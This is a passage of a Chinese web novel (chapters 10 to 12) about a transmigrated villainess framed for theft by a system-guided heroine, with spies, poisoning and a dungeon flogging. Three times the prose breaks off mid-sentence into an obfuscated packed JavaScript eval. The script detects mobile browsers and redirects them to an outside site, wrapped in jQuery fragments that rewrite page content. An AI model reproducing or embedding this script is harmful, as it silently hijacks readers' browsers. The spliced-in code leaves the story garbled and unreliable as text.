夫妻二人立马叫来了大夫,大夫把脉后说,脉象并无异常,是他们夫妻二人思虑过重。
难不成,那歹人潜入他们夫妻俩的房间,只是放张纸条逗他们玩?
江文谋越想越觉得不对劲,今天一整天都郁郁寡欢。
“程王到——”
程子岁换了身更隆重的衣服,大摇大摆地走进城主府。
里头的人跪了一地。
“恭迎程王!”
程子岁点点头,“免礼。”
他越过众人,坐到了最中央的位置,挥挥手,让大家放松些,随意落座。
江文谋拱手说:“程王殿下,自打老程王带着一众亲眷搬至京城,程家已经几十年没有回西城了。今日,程王殿下光临寒舍,我等……”
程子岁拿起扇子,指了指他,说:“打住打住。”
这些人,正事不干,奉承的话倒是一套一套的。
江文谋眼珠子一转,看来这程王不喜欢听些虚无缥缈的好话。
他挥手,对总管说:“去把这五年来西城的税收账本拿来,还有良田产量等的记录都拿来。”
程子岁赶紧挥手,搞什么,他又不是来巡查的。
“停下停下。”
他咳了两声,问:“本王今日来,只为了一件事。”
江文谋拱手弯腰:“殿下请假,但凡是殿下的差遣,老夫定当竭尽全力,万死不辞。”
“前几日宴会,听闻幽王殿下带走一个姑娘,这事是真的吗?”程子岁问。
江文谋:“……”
来这一趟,就为了这个?
江文谋答:“确有此事。”
10. 第 10 章
马上就到了晌午,午饭是欢家两姐妹做的。
不过这对姐妹不会做饭,她们自掏腰包去附近集市的酒楼里买了几份小菜。
“公子,这是阿欢特意给您挑的菜,您快尝尝。”
两姐妹在赵臣殊的两侧,叽叽喳喳找存在感。
赵臣殊似乎有事要忙,午饭吃得很快,放下碗筷就跟林洛洲去了书房。
饭桌上只剩下了奚元和欢家姐妹。
奚元问她们:“你们有很多银两吗?怎么还自己掏钱买饭去。”
欢愉摇了摇头,无奈地说:“这不是没办法吗,我们又不会做饭,只能出去买了。”
奚元眨了眨眼睛,悄悄说:“起越不也不会做饭,他不就拿食材瞎糊弄一通,卓公子不也照样吃。”
这赵臣殊不是嘴刁的人,明显什么黑暗料理都能吃下。
有这么个小白鼠在,何愁练厨艺呀。
欢愉叹了口气:“我们在卓公子心中的地位哪里比得上起越啊,万一我们做的饭太难吃,公子把我们赶出去可怎么办。”
她们还打算嫁给卓殊,过上衣食无忧的好日子呢。
这两姐妹买的酒楼饭菜一看就是下了血本,特别好吃,奚元嘴巴吃个不停,抽空问:“你们是为什么会来卓府?”
欢悦说:“我们本来是戏楼唱曲的,那日林公子来我们戏楼听曲,说想那我们带走,就拿了银子买了我们姐妹俩的身契,把我们带了回来,说卓公子在府里缺个红颜知己。”
说到这里,欢悦看了奚元一眼,说:“我看也不怎么缺嘛。”
说好了是来当椒房美人的,结果成了粗使丫鬟,想想就生气。
奚元:“你们就这么想嫁给卓公子啊?”
她有些不确定,因为原著里并没有这两姐妹的戏份。
欢愉反问:“难道你不想吗?”
奚元:“……”
作为通篇绕着男主转的恶毒女配,她只能咬着牙说:“我当然也想了,求之不得,我渴望公子能爱我。”
欢悦撑着下巴畅想未来,“卓公子是西城有名的富商,若是可以嫁给她,我可以天天吃烧鹅,天天头上珠钗不重样,每天穿新衣服。”
欢悦见奚元一直在吃饭,没忍住说:“你少吃一点,那个起越做饭那么难吃,我和姐姐买这么多菜是准备留点晚上再吃的。”
奚元:“放心,我会做饭,想吃什么跟我说。”
欢愉、欢悦惊喜:“真哒?”
感叹完才想起来她们与奚元貌似是情敌关系。
欢悦拍了拍自己的脸,“你早上煮的粥也就一般吧,没有特别好吃。”
奚元问她们:“对了,你们怎么确定这卓公子很有钱的?”
欢愉:“林公子说的。”
奚元看了看这个不算干净的院落,指了指树上的蜘蛛网和地上的落叶。
“富甲一方,又怎么会住在这样一个小院子里,还只有一个仆从。”
欢愉欢悦相视一眼,觉得有几分道理。
但是,看卓公子平日的穿着打扮,不像是没钱的样子。
“或许,是卓公子比较低调,喜欢素雅的生活,这种境界是我们这种俗人理解不了的。”
奚元朝她们比了个大拇指,表示赞同。
晚上,他们将中午的冷菜重新放到锅里面热了热,端上了桌。
起越昨日受到了奚元的激励,晚上研究出了一个新菜式。
将泥螺、白菜、草鱼、蛤蜊肉和紫甘蓝一起放在锅中炖煮一小时。
得到的汤底既有草鱼之鲜美,又有紫甘蓝的鲜艳,还有蛤蜊的Q弹。
那碗汤一端出厨房,五米开外,奚元就闻到了泥螺的芬芳。
奚元夸赞:“好厨艺!”
起越木讷的脸颊微微泛红。
“你们快尝尝。”
“此等美味我们这些丫鬟无福享受,还是让两位公子独享吧,”奚元说。
林洛洲想吃一口中午的剩饭,筷子被欢悦打掉。
欢悦说:“公子,这是中午的剩菜,您千金之躯不能吃这个,您赶快吃些新鲜的。”
三个姑娘把剩菜往自己那边扒拉几下,“这种粗俗之物,交给我们吃就好了。”
林洛洲:“……”
说得也对。
哪怕来敌国探查情报,他也不该出剩菜,不然文人风骨何存!
他拿起汤勺,喝了一口新鲜的泥螺草鱼蛤蜊紫甘蓝汤,鲜味直冲云霄。
起越迫不及待地搓手问:“如何?”
林洛洲:“不错,很有海洋的味道,层次丰富。”
赵臣殊也喝了一勺接一勺。
奚元:“……”
赵国人的舌头,怕不是钢铁做的。
吃完饭,奚元照例在赵臣殊面前找存在感。
腰疼、腿疼、睡不好。
房间冷、关节炎、头晕眼花。
求了半天,赵臣殊也没松口送她间房。
真是个无情无义的臭男人。
奚元哼一声,便回了自己房间。
待到院内的烛火熄灭,隔壁屋子传来欢愉和欢悦轻微绵长的呼吸声,奚元踮着脚尖推开了房门,悄咪咪找到了整个院子第三大的屋子。
开始撬锁。
求人不如求己。
-
闺房内,两个小姑娘挤在一张床上。
是周颜和楠雁。
周家被官府抄封,周祁依旧被关押在大牢。
周颜无处可去,只能投奔昔日姐妹楠雁。
周颜在60秒无敌时间里,还许愿治好了自己被烙铁烫出来的伤。
她扒开被子,看着自己光洁的手臂,庆幸地想,幸好自己是穿越女,有超能力。
希望此时此刻,那几个恶毒男配,全部死光光。
就在这时,系统布置了新任务。
【宿主您好,您的新手任务已失败,未能成功与男主赵臣殊完成初遇任务。已将您的父亲压入大牢,作为任务失败的惩罚】
【下面将颁布第一个正式任务,本书女二奚元拿了男主赵臣殊的令牌,请揭发她。】
【任务奖励:天降横财,一套大宅院,可让您安心居住】
奚元?
既然是本书的恶毒女二,那便死不足惜,可以当她在这儿攀爬的垫脚石。
楠雁家的房子又老又旧,她早就受够了,如果只要揭发一个人的恶行就可以得到这么大的奖励,那何乐而不为。
楠雁戳了戳周颜的背,问:“阿颜,你怎么了,睡不着吗,你放心明日我们再去大理寺求求情,他们一定会把你爹放出来的,你不要再担心了。”
周颜轻轻地“嗯”了一声。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439091|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她在心中想着对策,她不想见到那个男主,她的女主光环这么亮眼。万一男主见到她又对她一见钟情了可怎么办。
她可不想走原著剧情。
她问楠雁:“你认识奚元吗?”
楠雁说:“奚元啊,那日城主府的宴会上我们与她一块儿跳舞,不过你那日身子不舒服,估计不记得了。她真是个怪人,那日忽然装作跟我很亲近的样子,不知道想干什么,反而对自己的好朋友绿绕爱理不理。”
周颜:“啊,这样啊。”
楠雁问:“怎么了,你怎么忽然提起了这个人。”
周颜欲言又止,几番张嘴,最终还是说,“算了。”
楠雁吃瓜吃到一半,很不是滋味,说:“阿颜,跟我有什么不能说的,你有什么烦心事尽管告诉我。”
周颜与楠雁贴得近了些,说悄悄话。
“那日,我偶然瞧见她,在街上拿了一个公子的玉佩,我怕说出去影响她的名声,就一直憋在心里没说。”
“今日,忽又想起这桩事来,总觉得心里过意不去。”
楠雁听到后,气愤地从床上坐起来,“真没想到,她竟然是这样的人,如此道德败坏,不行,我们得去揭发她。”
楠雁拉住周颜的手,问:“你是在什么时候见到她偷别人东西的。”
周颜说:“就在城主府外头的街上,我偶然瞥见的。”
楠雁:“我们明日就去城主府告状,不能让这种恶人逍遥法外。”
周颜抖了一下,害怕地说:“可是这样,会不会被她报复,我有些不敢。”
楠雁劝了周颜一会儿,见周颜还是恐惧,便拍着胸脯说:“那我明日一个人去,你在家等我的好消息吧。”
周颜点点头。
“谢谢你,楠雁,幸好有你在,不然我这心事真不知道该怎么办。”
-
“殿下,那个奚元大半夜撬了很久的锁,还没有撬开。”
冽风给万罗潇汇报。
凛风评价:“真够笨的。”
万罗潇翻看近几日朝廷官员还有皇室送过来的书信,说:“我是让你去监视赵臣殊的,没让你记录那个叫奚元的一举一动。”
冽风:“那赵臣殊整日躲在书房,我就一直在他屋顶上偷听,那个奚元一直往赵臣殊面前凑,看起来特别着迷。”
万罗潇眯了眯眼:“着迷?”
冽风:“可不是嘛,若是那姑娘知道这卓殊是敌国的皇子,不知道还会不会继续绕着赵臣殊转。”
凛风:“不过,她为什么要半夜撬锁啊?”
冽风:“我有听她跟赵臣殊说,自己房间的床板太硬,睡不好,想换个大房间,赵臣殊没同意。”
万罗潇放下书信,抬起头。
“哦?”
冽风:“啧啧,那赵臣殊真不是个会怜香惜玉的玩意。”
万罗潇:“你们先出去吧。”
关上门之后,他揉了揉太阳穴。
他最近几日总是睡得不好,半梦半醒间闻到一股幽香。
是那日奚元手中纱巾的味道吧,叫他念念不忘。
女人,相当于毒药。
沾上一点,就容易没了性命。
他掏出一把短刃,往自己的手上化了浅浅划了一刀,落下一串鲜血。
迫使自己,莫要幻想。
11. 第 11 章
次日清晨,城主府的大门被一个姑娘敲响。
是楠雁。
她对守门的侍卫说,她要报官。
侍卫让他小点声,昨日那千金贵体的程王没有回自己的程王府,而是待在了城主府。
若是将这个大人物吵醒了,他们这些人的脑袋都不保。
侍卫:“你小点声,你看看现在才几点。”
楠雁:“我说了我要报官,你让我去见江城主。”
侍卫们挡在门口不让她进去。
吃了早饭,起来在城主府瞎转悠的程子岁正巧转到了城主府门口。
他背着手,问:“这是怎么了?”
侍卫们立马转身向程子岁行礼。
“程王殿下早!”
昨日,那江文谋盛情邀请他在城主府住一晚,程子岁盛情难却,又想想那素园的环境实在古板又古朴,不如城主府装修得华丽。
斟酌一番,程子岁让仆从告诉万罗潇,自己不住素园了,在程园修正的这段日子里,都住在城主府。
楠雁不知这是何方贵客,但看那人的穿着打扮和谈吐举止,一定是和城主大人不相上下的官员。
那些侍卫们喊他殿下,难道是哪位王爷?
楠雁说:“民女叫楠雁,来城主府是想揭露一桩偷盗案件。”
这江城主江文谋,是个实干为民的好官,事事亲力亲为。
小到邻里之间的打闹,也可以请他来主持公道。
程子岁:“偷盗?这江城主还兼任断案的工作啊,真是辛苦。”
侍卫拦住楠雁:“我们城主今日不在府中,姑娘您改日再来吧。”
侍卫倒是没有说谎,今日一大早,江城主便和陈夫人去了郊野的寺庙烧香祈福去了。
楠雁手中的巾帕绞紧,“可是……”
程子岁在门内打了个响指,“城主不在,我在啊,我还没断过案呢,我来。”
侍卫:“啊?”
程子岁:“啊什么啊,还不赶紧领姑娘去前厅。”
程子岁跃跃欲试,他还没干过大理寺的活计呢。
前厅,楠雁诉说前几日为晚宴排练节目的时候,奚元盗窃的事情。
“那日下午,我亲眼看见她在街上偷了一个男人的玉佩。”
楠雁很护着周颜,周颜是个怕事的人,怕揭露这个恶举会遭到报复,所以不愿意让楠雁把自己牵扯进来。
所以,楠雁直接将案件的目击者改成了她自己。
“哪条街?”程子岁问。
“城主府别院门口那条西行街。”
“你认识那个盗窃之人?”
“认识,那日我们一起在晚宴上跳舞。”
有意思,程子岁有些后悔晚来了几天。
这帮子舞女里,有被万罗潇那个老古董直接抱起带走的,还有当街偷盗的。
这么热闹的场面,他没有亲眼见到,真是可惜。
对了,昨日听闻那个被万罗潇带走的姑娘,好像叫奚……奚元。
若有机会,他一定要见见这个姑娘长什么样子,得有多国色天香,才能让一向稳重的幽王情难自持。
他继续断案:“你说的那个盗窃人叫什么?”
“叫奚元。”
他拍下手中令牌。
“立刻,把人带过来。”
侍卫们行动迅速,“是!”
待到那群带刀侍卫们都出发了,程子岁悠哉悠哉地坐在中央位置上吃西瓜。
把犯人带过来少说也得一个时辰。
咬着清甜的西瓜,他忽然意识到了什么。
奚元?
什么?
叫奚元?
他扔了西瓜,跑到门外,那些前去捉人的官兵早就消失在了视野里。
追是追不上了。
完了,他不会被万罗潇追杀吧。
他赶紧招手喊来心腹。
“快,去告诉万罗潇,说他相好的有点事,让他赶紧来。”
林洛洲站在原地,坐立难安。
-
一大波官兵涌入卓府的时候,奚元正在做饭。
举着火把的官兵将卓府团团围住。
其实,一般捉个小盗贼,还是个手无寸铁的小姑娘,根本不需要这么大的阵仗。
他们这么兴师动众主要还是因为今日堂上坐的的大名鼎鼎的程王,大伙都想在程王面前表现一下。
起越在官兵们还在远处的时候,就已经注意到了他们。
他立马跳下屋檐,冲向赵臣殊的屋子,通风报信。
他压低声音,“殿下,殿下,不好了,有一大群官兵冲卓府来了。”
赵臣殊穿上外衣,将房门打开一条缝。
他问:“多少人?”
起越从门缝里钻进去,说:“大约五十人,带着刀剑。”
难道是他们的计划败露了。
他们是在什么时候暴露自己敌国间谍的身份的。
院外传来嘈杂的脚步声,林洛洲也与他们集合。
“怎么回事?”
赵臣殊沉默片刻,说:“从暗道,撤离,快。”
不知道他们的计划败露了多少,三十六计走为上计。
赵臣殊的卧室里有一条暗道,直通远处的荒山。
从这条暗道走,短时间内,官兵没法找到他们。
他们有足够的时间,逃回赵国。
起越问:“那三个姑娘呢?”
赵臣殊用鄙夷的眼神看了他一眼,“又不是来抓她们的,她们又不是赵国人,被抓就被抓了。”
反正这几个姑娘对他们的事情一无所知,哪怕官府人来问,也问不出个所以然。
起越:“可是……奚元姑娘还在做饭。”
奚元做的饭真的很好吃。
他坐在房顶上的时候,就闻到了厨房飘来的香味。
赵臣殊:“要命还是要饭。”
他掀开被褥,露出里面的机关,按了下去。
床脚边的一块砖陷了下去,露出黑黝黝的地道。
他立马钻进去。“走!”
同时,城主府的侍卫们一脚踹开了卓府的大门。
这奚元姑娘可叫他们一顿好找啊。
据户籍科的资料,这奚元是花蕾村奚家奚犇家的女儿。
他们抓人的大部队浩浩荡荡到了奚家的时候,奚家只有一个女人在家。
见他们是来抓人的,她死活不愿意说出奚元在哪。
是一个侍卫问了他们的邻居,才知道,这个奚元攀上了这卓家的公子卓殊,现如今住在卓府。
为了给程王留下一个好印象,他们今日动作无比利索。
为首的官兵一脚踹开卓家的大门。
他向院内亮出令牌。
“城主府要令,特来缉拿盗贼奚元。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439092|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奚元正好端着一大盘炸好的油条和胡辣汤出来,准备招呼大家一起吃饭。
欢愉欢悦两姐妹在树下玩耍,被这突如其来的踹门声吓了一跳。
奚元:什么,缉拿?
缉拿谁?我?
奚元指了指自己,问:“大哥们,抓我吗?”
抓她干什么,她再怎么说也是苗根正红的正统卫国人。
放着那两个赵国人不抓,来抓她?
有没有搞错啊?她最近没干什么坏事吧。
官兵点了点头。
两个壮汉一左一右钳制住她,不容置疑地将她往门外带。
正在地道里奋力爬行的三人听到了门外的动静。
就是这动静好像不太对啊。
赵臣殊:“嗯?不是抓我们的。”
抓奚元?为什么要抓她?
赵臣殊停下爬行的双手,发号施令,“后退,回卓府。”
三个人又一步步倒退着爬了回去。
在奚元马上要被官兵压上马车的时候,赵臣殊终于爬了出来。
他整理了下衣袖,跑到院子门口,收敛戾气,装作一个老实巴交的商人,嗫嚅着问:“老爷们,请问我们卓府的这个姑娘犯了什么事啊?您就这么把她带走,叫我们心里没个底。”
官府说:“偷盗。”
赵臣殊惊讶地张大嘴巴,“什么?偷盗?我们卓府竟然出了这种人,一定要好好教训她。”
他向那官差塞了点银两,悄悄说:“这丫鬟怎么也是我们卓府的人,能不能让我们一起去城主府看看,是死是活我们也好亲自看着,省得官老爷们亲自跑一趟是不是。”
领头的睨了他一眼,“城主府是你们这些小商户能随意进出的地方?”
他掂了掂手中银两的重量,笑了笑,“跟上吧。”
林洛洲跟在万罗潇后面,不解地问:“我们为什么要去?”
赵臣殊:“有了个正当理由进入城主府,这个机会为何不用。”
正好可以看看城主夫妇的毒中得如何了。
他大步跟着官兵,大摇大摆地走在最后。
林洛洲和赵臣殊很少在街上走,有种待在阴暗处的蟑螂第一次沐浴阳光的新鲜感。
林洛洲凑到赵臣殊耳边说:“卫国好玩的东西不少啊。”
赵臣殊不语。
他只盯着前面被官兵们摁住双手往前走的奚元,面无表情。
城主府到了。
他们一行人被带到前厅。
中央座椅上坐着一个束发戴冠的俊俏王爷,看着很年轻,很有气势的样子。
只是……见到他们进来,有些手足无措。
官兵拱手:“殿下,人已捉拿,请殿下审问。”
程子岁:他审问什么啊,这奚元是万罗潇的心肝宝贝,她哪怕是出去抢劫国库,只要万罗潇想护着,谁都拦不住。
程子岁:“……让本王缓缓。”
他揉着太阳穴,突然间瞥见一个身影。
那个人,长得怎么这么像画像上的赵国三皇子。
他揉揉眼睛,难道是他眼花了?
虽说自古以来赵国就喜欢做一些偷鸡摸狗的事,比如往卫国塞间谍之类。
但敌国皇子,如此大摇大摆地走进西城城主府的前厅,还是叫人细思极恐。
这一定是幻觉。
一定是他脸盲了。
12. 第 12 章
见程王迟迟不说话,楠雁先发制人,她指着奚元说:“王爷,就是她,那日他在街上偷了一个男人的玉佩。”
奚元瞪大眼睛,“啊?”
这是什么时候的事,她这个当事人怎么不知道。
箭在弦上,不得不发。
程子岁在心中祈祷万罗潇动作快点,赶紧过来。
程子岁:“奚元,她说你偷了别人的玉佩,你偷了吗?”
奚元:“我没有。”
程子岁一拍手,“看,她都说没有了。”
断案的方式能不能简单点,赶紧结束这场闹剧吧。
楠雁意气横使:“奚元,你不要不承认,那日……颜……我亲眼见到你在街上偷了一个人的钱包,你不要不认账,要敢作敢当。”
这到底在走什么鬼剧情。
奚元:“我偷什么了啊,不能你一张嘴一张一闭胡说一通,我就得认吧。”
楠雁:“反正我就是看到了,两个眼睛都看到的。”
奚元:“那你说说我偷了谁的东西?”
楠雁:“……我……街上当时那么多人,我哪看得清。”
奚元:“人脸都看不清楚,还能看清楚我偷东西?你别血口喷人。”
楠雁:“怎么还贼喊捉贼了,你偷没偷你自己心里没数吗?”
程子岁:“停停停。”
吵得他头疼。
程子岁:“这位姑娘既然说别人偷盗,那就拿出点证据来吧。”
楠雁:“我就是目击证人,不需要别的证据了。”
程子岁:“……”
门外传来侍卫通报。
“幽王到!”
程子岁站了起来,他的好兄弟终于来了,这断案子不是一般的难啊。
万罗潇大步跨进庭院,两侧的侍卫为他放开了一条宽路。
程子岁把位子让给了他,也将这堆麻烦事一并留给了他。
万罗潇扫了一眼面前的众位,在看到赵臣殊时,微微停顿,接着将他无视。
他看着最前面的奚元和楠雁,问:“你们在争执些什么。”
幽王殿下是卫国人人皆知的品行端正、文武双全。
作为先皇特别指定的摄政王,万罗潇把持朝政命脉。
虽为外姓王,但得到的名望不小。
楠雁指着奚元说:“幽王殿下,我前几日看到她在大家上偷了一个男人的玉佩。”
万罗潇皱眉:“男人?”
这个奚元为何如此难以琢磨,前几日她还勾着他的脖子说爱他,一会儿又说认错了,喜欢的是赵臣殊,现在又去偷一个男人的玉佩。
玉佩与普通的银两不一样,是一个人的贴身之物。
若她真是个小偷,为何不偷银两,而是偷玉佩,难道她对那个人也有点意思吗?
万罗潇问:“那个人,长什么样?”
楠雁低着头,脑筋快速转。
周颜跟她说的信息不太齐全,她只知道那块玉佩上没什么特殊的花纹,是一块白色的玉佩,中央发青发红。
至于那个男人,周颜似乎有些畏惧,捂着耳朵跟她说不记得长什么样子了。
“那个人长什么样子,民女并未看清。民女只草草看了几眼那块玉佩,上面没有雕刻什么花纹,是块白色的玉石,中央青色红色交杂。”
“青色和红色出现在同一块玉佩上,这可不常见,”程子岁说。
赵臣殊站在屋外的边角,闻言眼中闪过一道锋芒。
旁边的侍卫说:“我在城主府干事干了二十多年,见多的西城的新奇宝物不少,从未见过既有青色又有红色的玉佩,你个小丫头是眼花了吧,莫要在我们城主府信口开河。”
楠雁:“我说的是真的,她真的是个窃贼,我亲眼所见。”
万罗潇:“那你仔细说说。”
“我是那日在街上亲眼目睹的她偷人玉佩。”
“哪条街。”
“西行街。”
“哪日。”
“城主府晚宴的前一日。”
万罗潇扯扯嘴角,那便是比他们相遇的时间还要早上整整一天。
“仔细说说吧。”
楠雁点头,传闻这幽王殿下神机妙算,料事如神,必能看出这个女人的真面目。
“是太阳快落山的时候,我在街上行走,正好看到奚元在我的前面,看到他伸手扯掉了一个男人腰间的玉佩。”
“她与你间隔多远。”
“……大约五米。”
“她在你的哪个方位。”
楠雁焦灼地绞着手指,“西边。”
“五米的距离,你看不清那个男的长什么样,却能看清玉佩的颜色?一个人的脸比一块玉佩大多了吧。”
楠雁惶恐地瞪大双眼,“那是……那是,那个男的长得比较大众脸,我当时看见了他长什么样子,但我没记住。”
万罗潇点头:“哦,没记住。”
他继续问:“那你看到她拿别人东西,当时为什么不上前阻止。”
楠雁:“那是……那是,当时街上人太多,我本想直接找她,但没挤得过去。”
万罗潇:“人太多啊……”
一旁城主府的佣人行了个礼,说:“幽王殿下,西行道虽为商贩汇集之地,但大多数为早市,日落之时,街上没什么人。”
楠雁长大嘴巴,“不可能,那天的人很多,我怎么挤都挤不过去。”
“西行道在城主府别院附近,平日里往来的人并不多,哪怕是早上集市,也仅有几家卖蔬菜瓜果的农户,不可能摩肩接踵。”
楠雁指着那个佣人说:“你胡说八道!”
昨日是周颜亲口告诉她的,说西行道人太多,本来她想当时就阻止奚元的不当行为,可惜人太多了,挤不过去,这才成了心中苦事一桩。
周颜是不会骗她的!
楠雁跪在地上,哐哐磕了两个响头。
“殿下,民女说的都是真的,请殿下为民女做主啊!”
万罗潇笑了,“做主啊……”
他站了起来,走到她的跟前。
“你说的白中带点翠又带朱血红的玉佩倒还真有。”
楠雁难掩欣喜,她就知道,周颜是不会骗她的。
程子岁接话,“我也看到过,不过,是他国进贡的。”
先皇在的时候,赵国与卫国的关系远没有现在这么紧张。
逢年过节,两国还会互换些小玩意。
这种白中带红绿的玉,只有赵国有,且产量不多,很是罕见。
万罗潇看了门外的赵臣殊一眼,继续问楠雁:“红翠玉,这是赵国的东西,你在卫国是怎么见到的?”
楠雁:“……”
她也不知道。
她只是一个转述的。
她只能一遍遍强调,她真的没有说谎。
在一旁,没说几句话的奚元闻言忽感背后一凉。
她想起来前几日系统送的那个玉佩,上面确实没有雕饰,且中央有红绿色的点翠。
虽说楠雁对偷盗场景的描述全是胡诌,但她是怎么知道这块玉佩的存在的。
楠雁在原著中,是周颜的好姐妹。
难道,是周颜?
那块玉佩究竟是什么来历。
她在脑海中呼叫系统,但平日里很灵敏的系统,此刻却在装鹌鹑,根本不理她。
万罗潇对楠雁说:“你说你是傍晚的时候见到别人盗窃,她还站在你的西边。据我所知,这赵国特产的红翠玉,色泽清透,过有阳光穿透,则会莹莹发光。这样的角度,你是怎么看清楚玉佩是什么样子的,还能清楚地知道玉佩上有没有花纹?”
楠雁:“……殿下,我真的没有说谎……”
万罗潇打断,“说,是谁指使你诬陷他人的。”
几个侍卫将周颜擒住,叫她动弹不得。
楠雁盛气凌人的语调终于带上了慌乱,她喊道:“殿下,殿下,民女冤枉啊!”
万罗潇:“你为何编造事实,污他人之清白。”
楠雁:“民女……民女不知道,我真的不清楚!幽王殿下,您大人有大量,放过我吧!”
门外侍卫传话,“幽王殿下,程王殿下,城主大人回来了。”
城主江文谋与陈夫人从门外走进来。
江文谋看到屋内的两位殿下,激动万分,“老臣江文谋,参见二位殿下。”
门口站着的赵臣殊,敏锐地闻到了江文谋和陈夫人身上的药味。
看来,这两个老东西是相信了纸条上的话,觉得自己有中毒的可能,所以今日急匆匆去找了神医看病,喝了好多乱七八糟的药。
可惜他这赵国特产的毒药啊,不易察觉,卫国的大夫见都没见过,又何谈解毒。
再怎么寻医问药,都是白费力气。
他又看了屋内的奚元一眼。
觉得事情有些蹊跷。
奚元的出现有些太巧了,非常不正常。
而且,那块翠红玉,也就是他调动暗影的暗影符,正巧在几日前在赵国消失不见。
现在,又冒出来一个小姑娘,说奚元拿了翠红玉。
这翠红玉在赵国是举国罕见的宝贝,总共不超过三块。
真的有这么凑巧的事情吗?
更大的可能性是,暗影令或许以一种诡异的方式,到了奚元的手上。
回去后,要与她……好好谈谈。
他低声对林洛洲说:“走。”
两个人悄无声息地退出了城主府,消失不见。
-
楠雁家。
系统叮咚一声。
【恭喜宿主,完成向男主赵臣殊揭露女配奚元盗窃行为的任务,任务奖励:一套别院】
【任务奖励将于三日内送达】
周颜开心地笑了起来。
楠雁的屋子又小又旧,她真是受够了,迫不及待就想搬到新家里去。
【由于宿主是本书的女主,故可以享受有些优待】
“什么优待?”周颜问。
【您的闺蜜楠雁,由于完成揭露盗窃行为的任务,现如今被困在了城主府,出不来,您是否要救她。】
【拯救闺蜜代价:一套……】
周颜打断:“这西城的城主一向以心慈闻名,楠雁最多就是被关押几天,不会有什么大事的。”
若是几天后,楠雁因此怨恨她,她可以把自己院子中的房子分一间给楠雁住。
【剧情已崩塌,您的闺蜜楠雁不一定可以完整地出城主府哦】
【由于您是女主,故可以有选择救或者不救的机会】
【若是选择救,则您刚刚得到的奖励的院子将会缩小到原来的二分之一,不会对宿主的其他生活造成任何影响,你永远是本书中拥有主角光环的女主】
【若是选择救,则楠雁会在今日死,后面的剧情中不再有楠雁陪着您,对剧情造成的影响需要您自行解决】
【您是本书女主,选择权在您】
周颜皱眉,有病吧,为什么要把他人的命运交给自己。
她才不想为别人的生死负责。
不救人,难道跟杀人一样吗?
她不想让好不容易到手的院子面积平白无故缩水一半。
她说:“人各有命,她若是今日命数已尽,那我救她也是白救。”
【宿主已选择不救,大院子将于三日内以特别大奖的形式送到】
不一会儿。
院外有人敲门。
是城主府来的佣人。
她恭敬地对周颜说:“周小姐,城主府有请。”
-
刚刚,城主和夫人回来了,听闻西城竟然出了忤逆诽谤之事,勃然大怒。
他向幽王和程王请罪,说这都是他治理无方,才让西城的土地上长出这样顽劣的人。
楠雁在厅堂之上,并未供出周颜,依旧嘴硬地说,奚元就是偷盗了,只是她记性不好,对那日的情形的记忆有所偏差。
城主又一番询问细节。
她漏洞百出。
连这西行道是东西方向的路还是南北方向的路都不知道。
最后,她终于坦白,自己根本没有去过西行道。
她所说的目击盗窃的一切,都是听别人说的。
无论城主大人如何再询问,她就是咬死了不将幕后之人说出来。
已到晌午。
楠雁被关进了地牢,程王和幽王留在城主府中用膳。
至于奚元,陈夫人拉着奚元的手说,这姑娘被人诬陷一定吓坏了,也留在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452722|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家中吃饭吧,态度无比亲切。
楠雁在地牢中挨了两鞭子,终于支撑不住,将周颜的名字说了出来。
地牢里,楠雁身上几道血淋淋的伤痕,她虽然是个农家女,在自小父母宠着,哥哥们护着,从来没有受过这种皮肉之苦。
她头发凌乱,说:“是周颜……是周颜跟我说的。”
阿颜,快来救我……
听到地牢的犯人吐出了背后谋划之人的名字,江文谋饭才吃了几口,便匆匆放下了碗筷。
“二位殿下,案情有了进展,江某先去审案,二位殿下慢用。”
程子岁:“江城主真是大忙人,吃饭都不忘政务,难怪每年每月都会有这么多西城来的奏折,赞扬江城主的丰功伟绩。”
江文谋摆摆手,“不敢当,不敢当,不及二位殿下辛苦。”
他匆匆赶往地牢。
周颜已经被带了过来。
或许是主角光环笼罩,所以同样是犯罪嫌疑人,周颜被抓的待遇比奚元好很多。
一个老嬷嬷站在周颜的旁边,将她领到了楠雁的身边。
周颜看着被铁链绑着的楠雁,身上散发出恶臭的血腥气。
她皱了皱眉,捂住鼻子。
江文谋也从门外进来。
“城主大人到!”
楠雁慌张地睁开眼睛,原本清亮的眼中布满了血丝。
她有些害怕城主。
她又看到了站在自己身边的周颜,她松了一口气,开心地笑了。
“阿颜,你来了,你跟他们说,我没有瞎编故事,我说的都是真的,是你亲口告诉我的,那个奚元就是偷了东西,对不对?”
行刑的侍卫又是一鞭子打上去。
“还嘴硬。”
将那楠雁又抽晕了过去,泼了一桶冷水才醒。
